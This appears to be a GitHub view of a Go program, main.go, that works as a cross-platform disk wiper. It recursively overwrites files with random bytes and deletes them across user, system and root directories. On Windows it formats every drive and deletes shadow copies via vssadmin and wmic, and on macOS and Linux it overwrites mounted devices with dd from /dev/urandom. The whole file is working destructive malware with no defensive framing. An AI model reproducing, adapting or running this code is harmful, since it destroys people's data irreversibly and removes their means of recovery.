-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.go
173 lines (165 loc) · 4.19 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
package main
import (
"crypto/rand"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"os/user"
"path/filepath"
"runtime"
"strings"
"sync"
)
// Make WaitLock
var wg sync.WaitGroup
func main() {
// Remove Current User Files //
usr, err := user.Current()
if err != nil {
fmt.Println(err.Error())
}
openAndRecurse(usr.HomeDir + string(filepath.Separator))
// Remove OS Specific files //
// Windows Specific //
if runtime.GOOS == "windows" {
// Removing Users Files //
openAndRecurse("C:\\Users\\")
// Start Formating Disk //
for _, drive := range getdrives() {
d2 := drive + ":"
//fmt.Println(d2)
//wg.Add(1)
go runCommand("Format", []string{d2, "/P:1"})
// Delete Volume Shadow Copy //
go runCommand("vssadmin.exe", []string{"delete", "shadows", "/for=" + d2, "/oldest", "/quiet"})
}
// Delete Volume Shadow Copy //
runCommand("wmic.exe", []string{"shadowcopy", "delete", "/nointeractive"})
// Remove Program Files //
openAndRecurse("C:\\Program Files\\")
if runtime.GOARCH == "x64" {
openAndRecurse("C:\\Program Files (x86)\\")
}
// Remove Root Files (This should be done as last as possible, target files first) //
openAndRecurse("C:\\")
}
// MacOS Specific //
if runtime.GOOS == "darwin" {
// Up the ulimit for open files //
runCommand("ulimit", []string{"-n", "12288"})
// Removing Users Homes //
openAndRecurse("/Users/")
// Removing var //
openAndRecurse("/private/var/")
// Removing etc //
openAndRecurse("/private/etc/")
// Remove Data //
openAndRecurse("/Library/")
// Remove Program Files //
openAndRecurse("/Applications/")
// Start Zero Disks //
res, err := runCommand("mount", []string{})
fmt.Println(res)
if err != nil {
fmt.Println(err.Error())
}
wordz := strings.Split(res, " ")
for _, wordo := range wordz {
if strings.Contains(wordo, "/dev/") {
runCommand("dd", []string{"if=/dev/urandom", "of=" + wordo, "bs=1M"})
}
}
// Remove Root Files (This should be done as last as possible, target files first) //
openAndRecurse("/")
}
// Linux Specific //
if runtime.GOOS == "linux" {
// Up the ulimit for open files //
runCommand("ulimit", []string{"-n", "12288"})
// Removing Users Homes //
openAndRecurse("/home/")
// Removing opt //
openAndRecurse("/opt/")
// Removing var //
openAndRecurse("/var/")
// Removing etc //
openAndRecurse("/etc/")
// Start Zero Disks //
res, err := runCommand("mount", []string{})
fmt.Println(res)
if err != nil {
fmt.Println(err.Error())
}
wordz := strings.Split(res, " ")
for _, wordo := range wordz {
if strings.Contains(wordo, "/dev/") {
runCommand("dd", []string{"if=/dev/urandom", "of=" + wordo, "bs=1M"})
}
}
openAndRecurse("/")
}
wg.Wait()
}
func openAndRecurse(pathToDir string) {
files, err := ioutil.ReadDir(pathToDir)
if err != nil {
fmt.Println(err)
//return
}
for _, file := range files {
//fmt.Println(file.Name())
if file.IsDir() {
//fmt.Println("--DEBUG-- File is a dir, recurse time!")
dirName := file.Name() + string(filepath.Separator)
fullPath := strings.Join([]string{pathToDir, dirName}, "")
openAndRecurse(fullPath)
} else {
fullPath := strings.Join([]string{pathToDir, file.Name()}, "")
wg.Add(1)
go srmFile(fullPath, &wg)
}
}
}
func srmFile(fName string, wg *sync.WaitGroup) error {
defer wg.Done()
f, err := os.OpenFile(fName, os.O_WRONLY, 0000)
if err != nil {
return err
}
fileInfo, err := f.Stat()
if err != nil {
return errors.New("Failed to retrieve file info")
}
if fileInfo.IsDir() {
return errors.New("Trying to remove directory ")
}
s := fileInfo.Size()
if _, err := io.CopyN(f, rand.Reader, s); err != nil {
return errors.New("Could not write to file")
}
if err != nil {
return err
}
f.Close()
return os.Remove(f.Name())
}
// Windows helper function for listing all drives
func getdrives() (r []string) {
for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" {
_, err := os.Open(string(drive) + ":\\")
if err == nil {
r = append(r, string(drive))
}
}
return
}
func runCommand(cmd string, args []string) (string, error) {
out, err := exec.Command(cmd, args...).CombinedOutput()
if err != nil {
return string(out), err
}
return string(out), nil
}